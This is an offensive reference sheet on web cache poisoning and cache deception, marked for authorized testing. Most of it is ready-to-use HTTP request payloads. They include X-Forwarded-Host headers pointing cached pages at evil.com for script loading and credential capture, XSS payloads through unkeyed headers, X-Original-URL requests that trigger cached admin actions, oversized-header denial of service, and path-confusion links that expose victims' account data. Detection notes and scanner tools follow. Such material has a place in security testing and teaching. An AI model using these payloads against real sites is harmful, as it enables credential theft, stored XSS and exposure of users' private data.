WEB-CACHE-POISONING
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Techniques for exploiting caching mechanisms to serve malicious content or steal sensitive data from cached responses.
FUNDAMENTALS#
Cache Key:
- The subset of the request used to identify cached responses
- Typically: Host header + URL path + query string
- Headers, cookies, body are usually NOT part of the cache key
Unkeyed Input:
- Request components that affect the response but are NOT in the cache key
- If you can inject via unkeyed input, the poisoned response gets cached
- Other users requesting the same cache key receive the poisoned response
Cache Poisoning vs Cache Deception:
- Poisoning: attacker poisons cache, ALL users get malicious response
- Deception: attacker tricks VICTIM into caching their sensitive response,
then attacker retrieves it from cache
UNKEYED HEADERS#
Discovery:
# Use Param Miner (Burp extension) to find unkeyed headers
# Right-click request -> Extensions -> Param Miner -> Guess headers
# Manual testing: add header, check if response changes
# If response changes but cache still serves it for normal requests -> unkeyed
Common Unkeyed Headers:
X-Forwarded-Host
X-Forwarded-Scheme
X-Forwarded-Proto
X-Original-URL
X-Rewrite-URL
X-Host
X-Forwarded-Server
X-HTTP-Method-Override
X-Forwarded-Port
Forwarded
True-Client-IP
CF-Connecting-IP
Fastly-Client-IP
X-Custom-IP-Authorization
Transfer-Encoding (variations)
X-Forwarded-Host Poisoning:
# If application uses X-Forwarded-Host to build URLs in response
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Response:
<script src="https://evil.com/static/app.js"></script>
# This response gets cached, all users load attacker's JS
X-Forwarded-Scheme / X-Forwarded-Proto:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Scheme: http
# Response: 301 redirect to https://target.com/
# Or: mixed content if assets loaded over HTTP
# Poison: redirect to attacker domain
X-Original-URL / X-Rewrite-URL:
# Override the URL processed by the backend
GET / HTTP/1.1
Host: target.com
X-Original-URL: /admin
# Backend processes /admin but cache keys on /
# Admin page content cached and served to all users
CACHE KEY MANIPULATION#
Cache Key Normalization Issues:
# Different path representations that may normalize to same cache key
/path vs /PATH vs /Path
/path/ vs /path
/path vs /./path vs /path/./
/path vs //path
/path vs /path;jsessionid=x
# Query parameter order
?a=1&b=2 vs ?b=2&a=1
# May or may not produce same cache key depending on CDN
Port-Based Poisoning:
GET / HTTP/1.1
Host: target.com:1337
# Cache may key on target.com (without port)
# But backend generates URLs with port 1337
# <link href="https://target.com:1337/style.css">
Cache Key Injection:
# Inject into keyed components to create unexpected cache entries
GET /path?param=value%0d%0aX-Injected:%20header HTTP/1.1
# CRLF injection into cache key components
Vary Header Manipulation:
# Vary header tells cache which headers are part of the key
Vary: Accept-Language, User-Agent
# Poison a specific Accept-Language variant
# Only users with that language setting get poisoned response
CACHE DECEPTION ATTACKS#
Path Confusion (Classic Cache Deception):
# Trick the cache into storing authenticated responses
# Step 1: Send victim a link like:
https://target.com/account/settings/nonexistent.css
# Step 2: Backend ignores the extension, serves /account/settings
# Step 3: Cache sees .css extension, caches the response
# Step 4: Attacker requests same URL, gets victim's cached account page
Variations:
/api/me/profile/x.js
/api/me/profile/x.css
/api/me/profile/x.png
/dashboard/x.svg
/settings%2f..%2fstatic/file.js
/my-account/abc.woff2
Path Delimiter Confusion:
# Different servers use different path delimiters
/account;x.css # Tomcat ignores after ;
/account%23x.css # Fragment handling
/account%3Fx=1.css # Encoded ? treated as path by some
Normalization Differences:
# Cache normalizes path differently than origin
/account/..%2fstatic/x.css
# Cache may see: /static/x.css (cacheable)
# Origin may see: /account/../static/x.css -> /account page
Detection:
# Step 1: Access authenticated page with cache-buster
GET /account/settings?cb=random123
# Step 2: Access same URL unauthenticated
# If you get authenticated content -> cache deception works
# Step 3: Try with static file extension
GET /account/settings/x.css
# Then access unauthenticated
FAT GET REQUESTS#
Concept:
# Some servers process body in GET requests
# Cache keys on method + URL (ignoring body)
# Attacker sends GET with body, response gets cached
Attack:
GET /api/data HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
param=malicious_value
# If the server reads the body parameter and it affects the response
# The poisoned response is cached for the GET URL
# All subsequent GET /api/data requests get poisoned response
X-HTTP-Method-Override:
# Override GET to POST behavior
GET /api/settings HTTP/1.1
X-HTTP-Method-Override: POST
Content-Type: application/json
{"email": "attacker@evil.com"}
# Cache sees GET request, but server processes as POST
# Modified settings reflected in cached response
PARAMETER CLOAKING#
Concept:
# Cache excludes certain parameters from the key
# Application still processes them
# UTM parameters are commonly excluded from cache keys
UTM Parameter Cloaking:
# utm_content is excluded from cache key by many CDNs
GET /page?utm_content=x%26admin%3Dtrue HTTP/1.1
# Cache key: /page (utm_content excluded)
# Backend sees: utm_content=x&admin=true
# admin=true is processed but not part of cache key
Semicolon Delimiter:
# Ruby/Java may accept ; as parameter separator
GET /page?legit=value;evil=payload HTTP/1.1
# Cache may see one parameter: legit=value;evil=payload
# Backend sees two: legit=value AND evil=payload
Parameter Pollution:
GET /page?param=normal¶m=evil HTTP/1.1
# Different backends handle duplicate params differently:
# PHP: uses last value
# ASP.NET: joins with comma
# Python/Flask: uses first value
Unkeyed Query Parameters:
# Some CDNs exclude all query params from cache key
# Or specific params like: callback, jsonp, _
GET /api/data?callback=malicious_function HTTP/1.1
# Cache key: /api/data
# Response: malicious_function({...})
CACHE POISONING VIA HEADERS#
X-Forwarded-Host:
GET /login HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# If response includes:
<form action="https://evil.com/login">
# Credentials submitted to attacker's server
X-Forwarded-Port:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Port: 1337
# Response may include port in URLs:
<script src="https://target.com:1337/app.js"></script>
X-Original-URL (Nginx/IIS):
GET /static/cacheable.js HTTP/1.1
Host: target.com
X-Original-URL: /admin/delete-user?id=1
# Cache key: /static/cacheable.js (cacheable)
# Backend processes: /admin/delete-user?id=1
# Admin action result cached and served to all
Range Header Poisoning:
GET /page HTTP/1.1
Host: target.com
Range: bytes=0-100
# Partial content (206) gets cached
# Users get truncated page from cache
Accept-Language Poisoning:
GET / HTTP/1.1
Host: target.com
Accept-Language: evil"><script>alert(1)</script>
# If language is reflected in response without sanitization
# And Accept-Language is unkeyed -> stored XSS via cache
PRACTICAL EXAMPLES#
Example 1: XSS via Cache Poisoning
# Find unkeyed header that reflects in response
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: "><script>alert(1)</script>
# If X-Forwarded-Host is reflected in <link> or <script> tags
# And it is not part of the cache key
# -> Stored XSS for all users accessing the cached page
Example 2: Open Redirect via Cache Poisoning
GET /login HTTP/1.1
Host: target.com
X-Forwarded-Scheme: http
# Response: 301 Location: https://target.com/login
# Now poison with:
X-Forwarded-Host: evil.com
# Response: 301 Location: https://evil.com/login
Example 3: DoS via Cache Poisoning
GET / HTTP/1.1
Host: target.com
X-Oversized-Header: AAAA....(very long)
# If this causes a 400/500 error
# And the error response gets cached
# -> DoS for all users
Example 4: Cache Deception for Data Theft
# Send victim:
https://target.com/api/v1/user/profile/logo.png
# Origin serves /api/v1/user/profile (with auth data)
# CDN caches because .png extension
# Attacker fetches same URL without auth -> gets victim's profile data
TOOLS AND DETECTION#
Param Miner (Burp):
- Discovers unkeyed headers and parameters
- Right-click -> Extensions -> Param Miner
- "Guess headers" and "Guess query params"
Web Cache Vulnerability Scanner:
- https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner
- Automated cache poisoning detection
Cache Buster Techniques:
# Add unique parameter to avoid cached responses during testing
?cachebuster=unique_random_value
# Ensure your test requests are not served from cache
Checking Cache Status:
# Look for cache headers in response
X-Cache: HIT / MISS
CF-Cache-Status: HIT / MISS / DYNAMIC
Age: 3600 (seconds since cached)
X-Cache-Hits: 5 (number of times served from cache)
Cache-Control: max-age=3600, public
Vary: Accept-Language, Cookie
CDN-Specific Behaviors:
Cloudflare: CF-Cache-Status header, caches by file extension
Fastly: X-Cache header, Varnish-based
Akamai: X-Cache header, complex key configuration
AWS CloudFront: X-Cache header, behaviors define caching
Varnish: X-Varnish header, VCL configuration